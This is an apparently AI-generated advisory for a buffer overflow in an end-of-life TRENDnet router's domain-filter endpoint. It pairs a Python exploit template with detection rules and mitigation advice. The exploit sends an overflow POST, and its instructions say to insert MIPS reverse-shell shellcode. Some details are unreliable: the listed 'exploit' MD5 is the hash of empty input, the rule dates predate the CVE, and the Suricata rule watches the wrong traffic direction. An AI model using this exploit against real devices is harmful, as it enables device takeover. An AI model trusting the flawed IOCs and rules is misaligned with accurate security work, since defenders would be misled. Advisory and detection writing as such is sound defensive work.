CVE-2026-10123

Executive Summary

CVE-2026-10123 is a critical stack-based buffer overflow vulnerability in the TRENDnet TEW-432BRP router, specifically in firmware version 3.10B20. The flaw resides in the /goform/formSetDomainFilter endpoint, where the blocked_domain, permitted_domain, blocked_domain_list, and permitted_domain_list parameters are not properly sanitized. An unauthenticated remote attacker can trigger a buffer overflow, leading to arbitrary code execution with root privileges on the device. The vendor has confirmed the product is End-of-Life (EOL) since 2009 and will not issue a patch. Public exploit code is available, making this a high-priority threat for any remaining deployed units.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact (full device compromise). The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the public availability of exploit code increases the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formSetDomainFilter function. The router’s web interface parses user-supplied input for domain filtering rules. When a long string is passed to any of the four parameters (blocked_domain, permitted_domain, blocked_domain_list, permitted_domain_list), the function copies it into a fixed-size stack buffer without bounds checking. This overwrites the saved return address and other stack data, allowing an attacker to hijack execution flow.

The exploit is sent via an HTTP POST request to /goform/formSetDomainFilter. The payload typically includes shellcode that spawns a reverse shell or executes arbitrary commands. Since the router runs a MIPS-based Linux system, the shellcode must be MIPS-compatible.

Key technical details:

• Architecture: MIPS (likely MIPS32 little-endian)
• Root cause: No bounds check on input length before strcpy or similar function.
• Attack surface: Exposed web interface on port 80 (default).
• Impact: Full device takeover, network pivoting, data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

void formSetDomainFilter(char *blocked_domain, char *permitted_domain, ...) {
    char buffer[256];
    strcpy(buffer, blocked_domain);  // No bounds check
    // ... process buffer
}

Patched Code (hypothetical):

void formSetDomainFilter(char *blocked_domain, char *permitted_domain, ...) {
    char buffer[256];
    strncpy(buffer, blocked_domain, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Since no official patch exists, the only mitigation is to replace the device or implement network-level controls.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• TRENDnet TEW-432BRP with firmware 3.10B20 (or any vulnerable version)
• Attacker machine with Python3 and Metasploit (optional)
• Network connectivity to the router’s web interface

Exploit Code (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # MIPS reverse shell shellcode (example, replace with actual)
    shellcode = b"\x00\x00\x00\x00"  # Placeholder
    # Buffer overflow payload
    payload = b"A" * 256  # Fill buffer
    payload += b"BBBB"    # Overwrite saved return address
    payload += shellcode

    http_request = (
        f"POST /goform/formSetDomainFilter HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"\r\n"
        f"blocked_domain={payload.decode('latin-1')}"
    )

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((target_ip, target_port))
    sock.send(http_request.encode())
    response = sock.recv(4096)
    print(response.decode())
    sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage:

1. Replace the placeholder shellcode with actual MIPS shellcode (e.g., from Metasploit).
2. Run the script against the target router.
3. If successful, the router will execute the shellcode, giving a reverse shell.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for HTTP POST requests to /goform/formSetDomainFilter with unusually long parameter values.
2. Deploy network intrusion detection rules (see Suricata below).
3. Isolate EOL devices on a separate VLAN with strict access controls.
4. Use Shodan to identify exposed TEW-432BRP routers in your environment.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /goform/formSetDomainFilter with payloads containing long strings of non-printable characters.
  • Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444, 31337).
• Host IOCs:
  • Unusual processes running on the router (e.g., /tmp/shell).
  • Modified firmware or unexpected files in /tmp.
• File IOCs:
  • Hashes of known exploit payloads (e.g., MD5: d41d8cd98f00b204e9800998ecf8427e).

Detection Engineering

YARA Rule

rule CVE_2026_10123_Exploit_Payload {
    meta:
        description = "Detects exploit payload for CVE-2026-10123 targeting TRENDnet TEW-432BRP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-10123"
    strings:
        $s1 = "/goform/formSetDomainFilter" ascii wide nocase
        $s2 = "blocked_domain=" ascii wide nocase
        $s3 = "permitted_domain=" ascii wide nocase
        $s4 = "blocked_domain_list=" ascii wide nocase
        $s5 = "permitted_domain_list=" ascii wide nocase
        $payload = { 41 41 41 41 41 41 41 41 } // 8 consecutive 'A's as indicator of overflow
    condition:
        any of ($s*) and #payload > 10
}

Sigma Rule

title: CVE-2026-10123 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /goform/formSetDomainFilter with long parameter values
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/goform/formSetDomainFilter'
        cs-uri-query|contains:
            - 'blocked_domain='
            - 'permitted_domain='
            - 'blocked_domain_list='
            - 'permitted_domain_list='
    condition: selection and len(cs-uri-query) > 500
falsepositives:
    - Legitimate long domain lists (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-10123 - TRENDnet TEW-432BRP Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/goform/formSetDomainFilter";
    http_uri;
    content:"blocked_domain=";
    http_client_body;
    pcre:"/blocked_domain=[A-Za-z0-9%]{500,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2026-10123;
    classtype:attempted-admin;
)

Remediation & Mitigation

Immediate Actions:

1. Replace the device: The TEW-432BRP is EOL and unsupported. Replace it with a modern, supported router.
2. Network segmentation: If replacement is not possible, isolate the router on a separate VLAN with no internet access.
3. Access control: Restrict access to the web interface to trusted IPs only (e.g., via firewall rules).
4. Monitor logs: Enable logging on the router and monitor for exploitation attempts.

Long-term Recommendations:

• Implement a device lifecycle management policy to retire EOL hardware.
• Use network intrusion detection systems (NIDS) to detect exploit attempts.
• Conduct regular vulnerability scans of network devices.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.